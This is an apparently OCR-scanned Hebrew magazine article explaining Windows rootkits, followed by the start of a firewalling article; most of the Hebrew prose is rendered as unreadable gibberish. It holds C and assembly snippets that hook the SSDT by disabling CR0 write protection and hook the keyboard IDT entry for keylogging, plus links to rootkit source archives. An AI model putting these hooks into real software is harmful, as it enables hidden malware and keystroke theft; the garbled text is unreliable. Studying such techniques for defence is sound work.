9WYI PTYNNT ART 17'9K1 (VOIIM |0 DX ax"'n RSA-1 R-n ;70 K7W M%) volM N 7w MD6-n
XYY IN'7¥N DNIRY NY27INN 1212200 DX

nn'R X7 728 .NWN NOTT DX 907 mimx antnl 2008 719X lwx1a n7woin 2ol nyinn
April ) 79x2 1-2 D91 X'NY DTN DXY IR DY DIX2 DNIR 17'U9N ANXI'Y ANdIN
D MRN7 NYRPY NNNY ,011IK Nnd 7w ANfMn ANYD DNOo NRTY NIwNN DX Nann (Fools' day

.NN'MN DY?7 NNWYI D 75 NndNimn Ny7ima nypwn
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win'va Nip'dul n71yo DT -Rootkits

(Uri Farkas / mix) Zerith nxn

Rootkits ,a1'0ninn pinna X71919 TIXN nwyl Rootkits 7w xwinn 75 ,ninnnkn oawn 17nna
yTn 7w n'onl nawn — NiMITT nnun? Malware-n T¥n .nnant Malware-n pinna 1j'va 0'xIo)
nDINN2 Rootkits-n 7w AN TIXN WIN'Y W' — NN YN .ANNWNYT 0VIYD IX ,NIHON TINN NIX]
> Ni7ye nint? n 7y (Rootkit 1x) N7 (viow GameGuard 120 ,nwan '{Znwn 7y Ninann
?1nn — Rootkit 7y D27 120K NT MMNXN] .D'VINY YIN'Y NYAINE PRYAN )Y70NY7 DX X7 Nam

JAANNT7 [N TN 7RD NIRROLN 70 DX wnnY? N1 'R 219 D' [on

NIyl Nnop nrxp7ox n7onn (kit) Ny X0 ,Rootkit 7w n7aipn nTan ?Rootkit 1nn
UNNYN? [N2'n7 n70'Y nNiaa DN nwhan — 9pnan awnn "Root” nwna a'wn? qpin? nwosxny
NN 'M721 NYIAR NN DNYORNA WK NN NIYR'OX W qoIx Xin Rootkit ,ninnx 0'7'na

.27 NN Rootkit-n) 72770 nnna 0'Ryna 198 AN L,qpNnan 7w awnnn v gpimn v inTe

N'D 70 DN PR TR D DR DT DNpvn naon -"InT? nana Myt XIin NS Nnonn nain
MYIT'R] VT IR TIR DHonY ' oxya [0 hwnnwn Rootkit-n [na nipnovn an .axnoa 7'ava
D'UPNRD 7¥ NDION ,NIN'Y NIP71D NNNK NIZRD0 .0DY70NI1 DYAP NN 7w aNann ,7un? NIy

JIT7 NN 'Ma NNiYa vy NN L, NYAN 0'0dN 0N7WIN

NIROMANI NNIIDVYOY NNIIBVYON NINWN XIN NN YTAN 72 D D7 W' dnknn N7'NN 199
Windows Ty Windows NT n7yonn nd>yn? on"nn nd yT'nn 2N .n7Y90n Ndwn 7w nniv
XP

23359757 713%

,WinMain() ix main() n'¥jz19n 1> wnn — "DriverEntry"-> na1am 0" T 7w N0 NN
NINTD X'N N7W NNTaNN .0N7WN N0'ON NI W' 0T DA

NTSTATUS
DriverEntry(struct DRIVER OBJECT *DriverObject,
PUNICODE STRING RegistryPath )
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DRIVER_OBJECT -n2iman n12n7 102190 XN [IWRY UNIAKR ,D'0INRAIX Y N7270 D'¥7190
NIYNYNN NIY¥R1197 D090 7W 17200 DX XY |2 7'o1 N1ann 702 12T DR YN —
DNV NIXPZNY? KIN 0'7'a0 DT DriverEntry-n 9w 'tonn T'roNn 2T DY NMIYPNYT
MAJOR_FUNCTIONS) 7a*Tn INIX DY NMlpn MIYPNA 12'Va NNIYRY NIRIYNAN NIYY197
I/O " Ix -IRP) o'xnn IRP 75 7w nn'7wa nixd 17X niryjig (DRIVER_OBJECT-2 nnTamv
NIY9N |12 ,(NNNKRE N7RD NiN'wn YIXa? 12717 ninwan y1n nian o "Request Packet
DN2'MITA MAIT WX ,0Mpnn 27 L1 IRP_MJ_READ IRP_MJ_WRITE :nx ' nindinn

D1in nwimwaw MAJOR_FUNCTIONS-? niryjaio nxpm viwe DriverEntry-n """

INQD2AIT .2MTN 7w Mo N NonY? Path-n N Nax'"y NTNNN VIY9S XIN LW VIAIRD

#include "ntddk.h" //02' 772 win'w? N11TAn 2'ON
VOID OnUnload( IN PDRIVER_OBJECT pDriverObject )
{

DbgPrint (" OnUnload called.");

}

NTSTATUS DriverEntry( IN PDRIVER OBJECT pDriverObject, IN
PUNICODE STRING theRegistryPath )
{

// Allow the driver to be unloaded
pDriverObject->DriverUnload = OnUnload;
return STATUS SUCCESS;

}

Reboot -7 nR 7125

TINA 'R ,NDIMN T 72V IX wnnwnn T 7y — 0on 27w Reboot n7iys yxar awnnnw nk11d
,Reboot-n N7 nia1 nidL NIMtE Ly X7 VIYD KIN NINR N Ty 17w Rootkit-nw
N7 D¥NIXN 190N N9 A'¥N

2P 9299972 R

-1 NN 722 [Yun? ANKY 12T ,0M 12T Y "ok X'n Reboot-n w7 nxiol nu'w
D021 Rootkits .Jyiu XInw n'¥apnn TNX Yl 7Y IX 0P 12T 72 DI0YNYN X' Nidn .Reboot
Rootkit 7wn% .onxy nx (1y07 Nnin 7y 0'oN'-'0Ix YW 02T (FTA7 NIN'R NNIX]) D'YNNYN
in> File System-a n'¥apa 17w TIpn NX 0'1DN7 DIPN2 NP N Piny 170 nolionn TDL3-n
NNt Hard Disk-n 7w nmivpo ninw Tizn DX 2IMDY NNoONN 07NN L19Y NIMTIZN NIKONAN

.D'¥2PN NdWNN 77N X71,N'YRn 70T 7¢ DINNRND DNI0702 K¥N)
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D'Mma 824-n N rsrc section-a and ,Miniport-n 7w o' 12T wnnwin Rootkit-n 7w 7arTn
X7 72T 7TIa D) DY 'y DNR 0N 824 19NN N'wpn 70 TRN TIRN DR [IV0Y7 DR7INY
O (WNN YOI N'YEN 70" TA DMWY 1I97NINY D'NAN L'I'WN DR NIRKYY? [N A X710 NINwn

179 TIR'7 2T W 00N NTIRA DR N'WIE(IRDD TRON AT

T 2V D'¥apN N>IWN NA'WO DIro? ndnn Lyl 12T ,Reboot nwiy noavnnw nkan nyoa >
DILPONN INXY TIZN NX IV X1, File System Notification Routine-> mxy nx nwiN XIinw 2
.70'Tn 7w DINNKRN

nonyn nvws Rootkit -7 2wsn

NIYXNRI N7U9NN NDWN 7 NN7U90 DY [VO' TWX NDIYN NN'YD INXY NIX DIYA? 710 Rootkit-n
70w ,M00" A NNoON 7w DIwnM NWIT IT nzdv .CreateService ,0penSCManager n'xjion
YN 0KY '9)  NDIWNNN [ININ NN9AN NX X'ANn7 2211 Rootkit-n X ,nitpa nnim nirn®

RaYaliah

Boot-Loader-:7 18 219057 "ow

N7NNN1 12'TN 7Y IN1'WOY DNA7 NN 7V 20" TN 7Y X¥NIN XY 7770 79 TIzn DR NNRYW7 N2
W' N LINXY pn R vivw Boot Loader-n 7w Tign X NRWY [2md N1 LD 1D novnn
IX N7U9NN NdYNY "TNN P11 DNA7 NI71D' DY DIYA 178 NIRROL0 D'YNNYNYWD TNI'MMA Nty

.NN7Y90 Ny'In

Kernel Hooks

System Service ) SSDT-2 nixxnin NIyjpava Hooks yixxa x'n Rootkits 7w nxio1 TIkn nu'w
nri7'we 1 9 9w nrinon Xin Hooks-n ninna Rootkits 7w nz'vn win'win .(Dispatch Table
nX ,Rootkit-n 7w D'¥azn DX NIONYT W' ,001Y 0701 ON'I-'VIN 'AIYY? NITIVN NIXIN? NI7D'Y
In> User Mode-2 nix1j7aw nir¥jzi9 7y Hooks yx¥a% uiwo 01w [amd 'IdI MIYpnn DX TN
277V 21T TINND NN 17 W00 T 0NME-'0IRD NIFNN R NIRYIN WA 1) ReadFile/CreateFile
Mj7n1) IAT-2 N2MdN DR NHYWAYT7 KIN NIYY? 7YY Dn 75 177810 1N oynd Xin nm Hook in'Ti
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noN .0'MIEAN 07 (NYRAI9N 7w 0IWRIN 0'nan nwnn) Prolog-n nx ik (Hook AT v
IKernel-Mode Hooks yxa% 1oy ,User Mode-a onti-'uarn 2y 01yn? nwp NI n2nw

SSDT Hooks

7w 720 viwe NIN ,T'N9NN Mmw niNn? (System Service Dispatch Table 1x) SSDT-n
XY N1 .9y MIxa User Modea nuniwn NXT n720 2N7 ,NIYj19% 0'y'avnn 009
— DNUVNI5N 7W NN N7NNND ,VIYS wnn n7w wimmin .n0ina CreateFileA n'xjp197 o'xip

?ZwCreateFile 7w wimmin nni .ntdll -2 nkxnmiw ZwCreateFile -7 nxp ™I

FCOS0BAE| B2 2S0EERER MOL ERK, 25

FCOS0EBS  BA BAASFEYF MOL EDK, PFFEBSBE
FCOS0EB2  FF12 CALL DWORD PTR DS:[EDA]
rC2508BAR|  C2 2CA8 RETH ZC

:(JOx7FFE0300]) KiFastSystemCall -7 nxj miw'1 EAXa nwin 25 (op7ma'Rin IX) 1win

TCOSES1E|  SBO4 MOW EDM,ESF ~ 0 77T
YCIEES12|  @F34 SYSENTER
¥CIEEG14| C3 RETH

y¥any
.(DmuN19n win'w?) nnonnn namy My .1

NXIP ANRAN NMIXa 707 nody SYSENTER nxinn .SYSENTER nxima wimw .2
:D'KAN NITYUN DX (Tayn 227 1in xinw) MSR -n "aixa

mpn 7w Code Segment Selector -n nx 7onn nTw — IA32_SYSENTER_CS o
L1777 02w 12D N (X (User Mode 7w) 'ndim q7niry

nX q'7n'w Stack Segment Selector-n Nk 7onn nTw — IA32_SYSENTER_ESP o
.User Mode Stackn

KiSystemServicen'xjz119n 7w namdn nx 7onn nTw — IA32_SYSENTER_EIP e
S22 nnaxt nxn no'wnn [Xoni 1w Dispatch Handler -n Xinw
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n'¥jon 1w (ZwCreateFile-a EAX-2 nnww) opTa'’kn NX Nni? KiSystemsService nrxpaon
TV n¥AN nd'wnn owni ,SSDT-n n72a02 nyr197 101190 nx nxximi (n7w npna CreateFile)
.CreateFile n'xjraonni ,User Mode'? ntinw

:NQN D'YIN 'MN20NY NN 722 NN IRNY N1

User mode
Kernel mode
System )
service call System service
dispatch table
System 0
: service 1
apaleher \‘ 2 ——t— System service 2
3
n

qinn)
http://cfs4.tistory.com/upload_control/download.blog?fhandle=YmxvZzUxOTQ0QGZzNC50aXNO
(b3J5LmNvbTovYXROYWNoLzAVMDEwWMDAWMDAWMDAwWLNBuZw%3D%3D

M 72 — VYo wnn XN Hook-n yixa ;N2 T narnan .mxy Hook-n |maynn 7707 'wm
SSDT-n IR .1N7¥ A¥19%7 Y1ax¥n? (1230 opT1'Ra SSDT-1 102190 NX NNYY XIn NIWY? 1'7yw
SSDT Hooks yxa7 (N1 mpmav uiwe 7o v ,1n7mY7 iy 2mi [na X7 ,]N2'1 [am TR XN

73 nx11 CRO-n .(CRO) Control Register 0-n |2In NX D1wN - N2 NILVWOA

|31302928 1818 17 16 15 85 4 3210

FlC(N A
G|D (W M

I:l Reserved

w N|E|T|E|M|P
P E|T|s|m|P|E| CRO
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DYTAIN WYUK D'OT7 2IMDY7 751' Taynn DR YAl N1 01 - WP, 16 1901 0 KIN NNIX [MIYNY NN
Code 2IM27 2212 |27 .JN2'Ta T 7227 2IN27 7011 - INIX N1 DX L|27 ,n7V9NN Nd>WN2A Read-Only-
N7W NI 7Y INMTRY 2¥nn DR 'TNY- SSDT N OITRY QMDD , 0N NIK NIAT N2'Y |U? Snippet

*TMY2 NI'YYa 1IX)

#pragma pack (1)

typedef struct ServiceDescriptorEntry

{

unsigned int *ServiceTableBase;

unsigned int *ServiceCounterTableBase;

unsigned int NumberOfServices;

unsigned char *ParamTableBase;

} ServiceDescriptorTableEntry t, *PServiceDescriptorTableEntry t;
#pragma pack ()

__declspec(dllimport) ServiceDescriptorTableEntry t
KeServiceDescriptorTable;

NTSTATUS HookSSDTEntry (WORD INDEX, DWORD Handler, DWORD* Original)
{

asm

{
cli
push eax
mov eax, CRO
and eax, OFFFEFFFFh
mov CRO, eax
pop eax

}

*Original =
InterlockedExchange ( (PLONG) & (KeServiceDescriptorTable.ServiceTableBase |
INDEX]), (LONG)Handler);

__asm

{

push eax

mov eax, CRO

or eax, NOT OFFFEFFFFh
mov CRO, eax

pop eax

sti

NLIYON NX NN7 N9 'MINA ,N1anNN pAnNNn7i SSDT-7 N2M>7 Ni0n NIEdL TIY W'Y IdT7 W
nn7 ,ServiceDescriptorEntry n1ann 7w nman mw' M7'nna TR NIX NN¥P2 10K Nl
System Service Descriptor -n 10T x1in SSDT-7 y'an? n7'Afn TN D 2INIK ' Tan7 0DMY X
NTANI KI2" 0 INR .N0wnn T 7Y Ryimy SSDT-n 9w ServiceDescriptorEntry xinw table

.0TIZ 1'7v ‘M Tw KeServiceDescriptorTable 7non
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1021901 N97NNYT NANIN ,0PTI'RN NX VINIAXD N7APNW HOOKSSDTENtry n'¥j71on NTaN X
,cr0-a2 Write-Protect bit-n nX n2dn n¥zaon .n'¥jaon 7w nniznn NINdN DX 70'w nInwny
NIXINN DIY' 07722 N2'oN .0TIRN 12¥N7 ¢r0-n NI DX NTAWNAL DPIXIN D'OIYA DX N9'™7NN
nmn NPT D NRE 197 (DnRNna Interrupts-7 nnwoxn R NI TAl nidnw) stil cli
DNA7 710" AT QT NIWID X7 TN NDANWD TIPN YNAXKD 117 1YN9'W 1MIXID 'RY XD, 9T

J1DIYNa DN D'wInYY

Registry-2 ninnon nxann ,0''"NN NXANN INd nNown ' 957 SSDT Hooks-a wnnwin? |1
171 .12 ’¥1'01 ZwOpenKey-7 Hook niyyxnxa (Reboot TnwY Ix yT'n [oNX? wNT D'nys7v)
DX 71727 SSDT-2 Entries-n 7v DMaiy viwo 0ran 0'oin'il '0aRI 072 ,01WS TIkn SSDT Hooks

.DM2"MT7 'UN |ND'TN 2NN NIXYAY X7 NAIMD ')

:SSDT Hooks-n nkann% Nij700 My a'¥n Xan 1xnn
http://rootkit.com/newsread.php?newsid=922
:NNAN NaMd2 070N nkann? SSDT Hooksa nunnwnin Rootkit 7w winm nix1? nn

https://www.rootkit.com/vault/fuzen_op/HideProcessHookMDL.zip

IDT Hooks

-7 Dn0Pd NN ,SSDT-n md ,n7a0 Nin (Interrupt Descriptor Table 7w ix'y7) IDT-n
N7u9nN N>wn 7w n'xzao NXT (‘Nz'oo’ :nMava IX) Interrupt Interrupt nya ixvjp'w Handlers
7un? N> ,NnIon NNINY NMYIZAN NINNY DIPN .00NIN DY NIYPN2 N2 NI NMYONNY
117 TaTAN DNO ,NT7PNN 7¢ DNAIRN DX D'I0N AT P19 73 PITANY 'DI0YI'X 9172 TINYN ,NT7jm
Awornw (Programmable Interrupt Controller) PIC -0 Xxnin ,nIN9 X7 0Mp' D'aRwni ' nt
TP UNnuNn UKD  NT7PNN DR RNAIT? N7 1D1dim X' 'mn ndwn? Tan? anxy naniny
yolp PIC-n 07 yana pm yTnnw PIC-7 NIX N71v TXI 17U DNAIRD DX DTYN NT77n0 ¥ 9''¥n
Interrupt Handler-n nx Tn ynn? mix n2iwi (w19 Interrupt Flag-n ox) Taynn N71yo nx

.PIC-2 nomnw namdn 9% ,0'knnn

NT2 .M2IVY7 TIpn Ny NX waw'? SSDT Hook-7 nnima IDT Hook yxa% 715' ntion Rootkit 7
J121,NYN 0'01D ,NODTN ,NT?M 11D NNINN N7W1 IX 72NN YT U'7PnY% IX NIY? NI DA IT
DN L,(DNIX NITYNNIE WNNWNnn DIT7prn DX NI0Ypn nndim) Keyloggers a0pa nxivl NRT no'y
7w DX e NIKYY N NT7mn Yw Rnw) IRQL nipna onwn Interrupt Handler omwin
7> nvnni ( http://www.simulationexams.com/SampleQuestions/a+_qg4.htm :no nixxpnn

wpn 2y nx'nY
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NX [oNX7 12 SIDT nx1IN2 wnnwn? [N11INWI'R N7¢ NAIMdN DX A'wn? 17y IDT-n 'y nwh
D'NaN 2 :0'na 6-n a0 IDTR-n .nuxdn namda (IDT-7 w029 7onw) IDTR-n 1Ak pin
256 1Ix) 2048 795 12 NN Lidt-n 7w 2min 71N — aikn 7w Limit Field-n on o'aimnnin
IDT -n 9x (v 32) n''o nand on D2'vn 0'Nan 4 .(o'na 8 x'n Entry 75w n'wT1'wd Entries

.Base Address

struct idtr

{

unsigned short limit;
unsigned short LoBase;
unsigned short HiBase;

} __attribute ((packed));

:Interrupt Descriptor Entries-n nian nNx 117 ' ,qona

struct idt entry

{

unsigned short base lo;

unsigned short sel; //Kernel Segment Selector
unsigned char always0; // reserved

QYnna Yaorunsigned char flags; //

unsigned short base hi;

}  attribute ((packed));

NXQN 0'0'AN NON NX axX'"N Flags-n nTY

76 54 0

P [DPL  |Always 01110 (14)

I - Segment 15 present? (1 = Yes)
LPL - Which Eing (0 to 3}

[N ;73 .(N1IN NIR'097) ring3 Ik ring0 ,x7n7 715 Interrupt-n N2 nyavn nx ax'n DPL-w>
:NNAN MI¥a 7?7 IDT Hook wnnY
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#define KEYBOARD ENTRY 1

struct idtr IDTR;
struct idt entry KeyboardEntry;
struct idt entry *IDT;

unsigned int HookKeyboard(unsigned int Handler)

{

__asm sidt IDTR; //Load IDTR with the idtr

IDT = (idt entry *) ((IDTR.HiBase << 16) | IDTR.LoBase);

unsigned int Original = ((IDT[KEYBOARD ENTRY].base hi << 16) |
IDT[2] .base 1loh); //store original entry.

KeyboardEntry = & (IDT[KEYBOARD ENTRY]) ;

__asm cli; //disable interrupts so we won't crash.

* (short *) (KeyboardEntry) = (short)Handler;

* (short *) (KeyboardEntry+6) = (short)Handler >> 16;

__asm sti; //re-enable interrupts

return Original;

:nxan namda Keylogging 7awa IDT Hook-2 wnnwnin Rootkit 7w x7n wimm nix1'? [nna
https://www.rootkit.com/vault/chpie/idt_src.zip

VX217 1N0X1 ,D'TAYN 2 DY DDA 117 W DRY NINIR DIRT ,Tayn 227 «7int xin IDT-n D o7 we
N'Y197 ARMPI NRTI7 NIYXNRY DRT NIYYY? NI [amd) .19 Tavn 73 v IDT hook-n nx
(KeSetTargetProcessorDpc

215509

17w win'wn ,Rootkit 1nn 1mM20n N1 1nkna ,Rootkits 7y onkn NNTO NN (IWXRIN MMRNAN INT
D'NYI 122¥N .0"KTY 0N nn'71 ,onon an — Kernel Hooks ;02T n1an NX naxn .maonl
.0N"1M7 Rootkits niwnwnn Nnijpd0 1900 Ty 11101 Xan Mxna IDT-1 SSDT 12> n'oon

Programming the Windows Driver Model,Rootkit.com. :nx7nim n'onaryan
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nniv Firewalling niraf7nsou nayro

(cp77fkdr) 7xr00p j7'ox1 INN™71I0 7XA' NN

aRTPa

TN N2 DX "2 ,17¢ YN DIIWA 0NIVROoN NIX YTAY Ty 72 KIn Firewall 7227 viTo
NYIN 127 LILVI'RN DY AW TN NAITA DX A1 L,1N7¢ NIA'R-DI9N Y2 DDIY D'R7N
17w N2 n'v1oN

NINT N71Y9 YIX'A7 NN NNIYA NIV'WD DX a7 0NDn 0713 X7 ;70 myy *22nw ninnY
NN 71X N7 ITRONY 107'9 'vn NINY "IN Firewall-n n"a71150 .07 NN oy dal
n'oN' NN'YUNN .YTNN NI7AN IXY DX 1071 URIN 1YAPY D'0NTI00D NIMIVA yTNn Nizan
NYA NN'ON IX ,0M'9'¥90 D'¥NY7 NWA NN'ONN NIF NIYAITY NIN'YN DA TWRD X ,N0IYD
2V nny? ooOT YW [up X7 190N Y .N2OIM NI NYP N'YYD an'ynn ,Nntion NaimdYt
TIX ') N7 XN NNaona  CFirewalling nira7mov 7w 0 0naI0 0w P71 - NRIYA DIMNn

[N'MNINON NXI [N DX LTIV NN 1101 ,WIN'W1 NINYAIN 0D NIXISIN NIV

"Ndown yaw YTim" Ik 0SI-n 77N D'wnnwn X NWAN 1A 7V DtIma nNavn wnn'? T L v

7T Xin (Open Systems Interconnection 7w 1ix'p) OSI-n 7TIin
N'D TN D0N CMIR7IAN DIPEDN IR Y N WK MDY
YO DN 1AYN7 NIN-7Y NIVATIN NRIWA NI7IYon NN an7
, NMNIN? on"Nn 7Tmn .Nnwn NI7IWsSn |2 1Ton NXI, NMIYPN
v %75 "aon poon ARWN Al L,DIMIN NOYRIEITYEIENDINY
D'NY7 MDA KNI L,NIDDYW Yaw 77N YN Y D2IWn nanan

"nown yaw 71"
(OSI-n 7TIn 1w DNN DTN VUIY)

QYN RN NN (WNNT XL (RITO2'1IA RNPY AWOKR DT NIK) NADW 70 T'PON NIXK 11011 0101 XY
7> (M'0R™MORN N1DWY? 1PNl NT'ON NDWNN 7NNN) NIDDWA A'2Waw 700 - TR 12T 'an?
2211 7> - NWON MIAYN QA7 YT AN 12T D' 7001, NWNN NN a7 vy N 7

.Firewalling n*a171200 wim™m nya ' 7'y NN

NNy Firewalling Nita71100 n'y7o
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